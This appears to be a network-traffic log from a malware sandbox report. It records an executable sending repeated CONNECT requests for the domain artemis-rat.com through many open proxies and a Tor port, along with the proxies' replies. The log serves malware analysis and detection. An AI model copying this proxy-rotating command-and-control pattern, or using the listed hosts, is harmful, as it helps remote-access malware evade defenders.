Mar 11, 2024 03:30:45.496519089 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:47.130217075 CET	202	IN	HTTP/1.0 404 Not Found Content-Length: 716 Content-Type: text/html Date: Mon, 12 Feb 2024 09:31:00 GMT Expires: Mon, 12 Feb 2024 09:31:00 GMT Server: Mikrotik HttpProxy Proxy-Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1656	192.168.2.5	54718	43.153.108.126	443	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.500852108 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1657	192.168.2.5	54667	104.20.75.132	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.502748013 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:45.658256054 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:45 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1658	192.168.2.5	54720	43.153.108.126	443	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.503278017 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1659	192.168.2.5	54722	43.153.108.126	443	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.504158974 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1660	192.168.2.5	54725	43.153.108.126	443	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.505412102 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1661	192.168.2.5	54742	43.157.50.206	443	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.509008884 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1662	192.168.2.5	54745	43.157.50.206	443	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.510570049 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1663	192.168.2.5	54751	43.157.50.206	443	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.512815952 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1664	192.168.2.5	54753	43.157.50.206	443	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.513420105 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1665	192.168.2.5	54119	192.111.130.5	17002	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.520996094 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1666	192.168.2.5	54590	38.162.8.167	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.521341085 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:47.933722019 CET	111	IN	HTTP/1.1 407 Proxy Authentication Required Proxy-Authenticate: Basic realm="" Data Raw: 50 72 6f 78 79 20 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 20 52 65 71 75 69 72 65 64 Data Ascii: Proxy Authentication Required

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1667	192.168.2.5	53877	178.54.21.203	8081	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.534751892 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1668	192.168.2.5	54814	91.231.186.133	443	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.546200037 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1669	192.168.2.5	54817	91.231.186.133	443	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.547391891 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1670	192.168.2.5	54819	91.231.186.133	443	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.549323082 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1671	192.168.2.5	54822	91.231.186.133	443	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.550968885 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1672	192.168.2.5	50313	103.155.166.149	8181	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.552455902 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:48.595424891 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1673	192.168.2.5	54508	89.42.198.79	4153	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.629987001 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1674	192.168.2.5	54665	154.205.152.96	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.630059004 CET	193	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com
Mar 11, 2024 03:30:47.839514017 CET	39	IN	HTTP/1.1 200 Connection established
Mar 11, 2024 03:30:48.929788113 CET	39	IN	HTTP/1.1 200 Connection established
Mar 11, 2024 03:30:50.209650040 CET	39	IN	HTTP/1.1 200 Connection established
Mar 11, 2024 03:30:52.965766907 CET	39	IN	HTTP/1.1 200 Connection established
Mar 11, 2024 03:31:08.324042082 CET	39	IN	HTTP/1.1 200 Connection established
Mar 11, 2024 03:31:28.801558018 CET	39	IN	HTTP/1.1 200 Connection established
Mar 11, 2024 03:32:09.761943102 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1675	192.168.2.5	54015	107.180.103.214	61634	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.639262915 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:48.701791048 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:51.702013969 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1676	192.168.2.5	53960	192.64.115.90	47100	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.639508009 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1677	192.168.2.5	54547	91.134.140.160	53012	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.641824961 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:46.405049086 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:47.423903942 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1678	192.168.2.5	54542	58.246.58.150	9002	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.642366886 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:45.960592985 CET	311	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 11 Mar 2024 02:30:45 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1679	192.168.2.5	54550	194.163.137.106	9050	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.642376900 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:56.461102009 CET	729	IN	HTTP/1.0 501 Tor is not an HTTP Proxy Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 53 20 50 72 6f 78 79 2c 20 4e 6f 74 20 41 6e 20 48 54 54 50 20 50 72 6f 78 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 73 20 70 72 6f 78 79 2c 20 6e 6f 74 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 3c 2f 68 31 3e 0a 3c 70 3e 0a 49 74 20 61 70 70 65 61 72 73 20 79 6f 75 20 68 61 76 65 20 63 6f 6e 66 69 67 75 72 65 64 20 79 6f 75 72 20 77 65 62 20 62 72 6f 77 73 65 72 20 74 6f 20 75 73 65 20 74 68 69 73 20 54 6f 72 20 70 6f 72 74 20 61 73 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 0a 3c 2f 70 3e 3c 70 3e 0a 54 68 69 73 20 69 73 20 6e 6f 74 20 63 6f 72 72 65 63 74 3a 20 54 68 69 73 20 70 6f 72 74 20 69 73 20 63 6f 6e 66 69 67 75 72 65 64 20 61 73 20 61 20 53 4f 43 4b 53 20 70 72 6f 78 79 2c 20 6e 6f 74 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 20 49 66 20 79 6f 75 20 6e 65 65 64 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 20 74 75 6e 6e 65 6c 2c 20 75 73 65 20 74 68 65 20 48 54 54 50 54 75 6e 6e 65 6c 50 6f 72 74 0a 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 6f 70 74 69 6f 6e 20 69 6e 20 70 6c 61 63 65 20 6f 66 2c 20 6f 72 20 69 6e 20 61 64 64 69 74 69 6f 6e 20 74 6f 2c 20 53 4f 43 4b 53 50 6f 72 74 2e 0a 50 6c 65 61 73 65 20 63 6f 6e 66 69 67 75 72 65 20 79 6f 75 72 20 63 6c 69 65 6e 74 20 61 63 63 6f 72 64 69 6e 67 6c 79 2e 0a 3c 2f 70 3e 0a 3c 70 3e 0a 53 65 65 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 6f 72 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2e 68 74 6d 6c 22 3e 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 6f 72 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2e 68 74 6d 6c 3c 2f 61 3e 20 66 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 2e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 00 Data Ascii: <html><head><title>This is a SOCKS Proxy, Not An HTTP Proxy</title></head><body><h1>This is a SOCKs proxy, not an HTTP proxy.</h1><p>It appears you have configured your web browser to use this Tor port asan HTTP proxy.</p><p>This is not correct: This port is configured as a SOCKS proxy, notan HTTP proxy. If you need an HTTP proxy tunnel, use the HTTPTunnelPortconfiguration option in place of, or in addition to, SOCKSPort.Please configure your client accordingly.</p><p>See <a href="https://www.torproject.org/documentation.html">https://www.torproject.org/documentation.html</a> for more information.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1680	192.168.2.5	54621	98.181.137.83	4145	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.645595074 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1681	192.168.2.5	53837	46.209.204.147	8080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.646234035 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:49.133898973 CET	202	IN	HTTP/1.0 404 Not Found Content-Length: 718 Content-Type: text/html Date: Wed, 06 Mar 2024 14:53:24 GMT Expires: Wed, 06 Mar 2024 14:53:24 GMT Server: Mikrotik HttpProxy Proxy-Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1682	192.168.2.5	50439	95.84.166.138	8080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.646485090 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1683	192.168.2.5	53100	83.212.123.113	3888	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.646609068 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:46.980072021 CET	39	IN	HTTP/1.1 200 Connection established
Mar 11, 2024 03:30:48.015429974 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1684	192.168.2.5	54574	154.12.178.107	29985	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.652192116 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1685	192.168.2.5	54358	64.227.108.25	31908	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.652193069 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1686	192.168.2.5	54516	115.127.31.66	8080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.653053999 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1687	192.168.2.5	53945	162.241.53.72	31414	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.653278112 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:48.701895952 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:51.702012062 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:57.702050924 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1688	192.168.2.5	54581	3.123.150.192	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.657740116 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:45.964258909 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 02:30:45 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1689	192.168.2.5	54557	123.126.158.50	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.660749912 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1690	192.168.2.5	54619	79.143.177.29	21972	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.666888952 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:45.983716011 CET	131	IN	HTTP/1.1 503 Too many open connections Content-Type: text/plain Connection: close Data Raw: 4d 61 78 69 6d 75 6d 20 6e 75 6d 62 65 72 20 6f 66 20 6f 70 65 6e 20 63 6f 6e 6e 65 63 74 69 6f 6e 73 20 72 65 61 63 68 65 64 2e 0a Data Ascii: Maximum number of open connections reached.

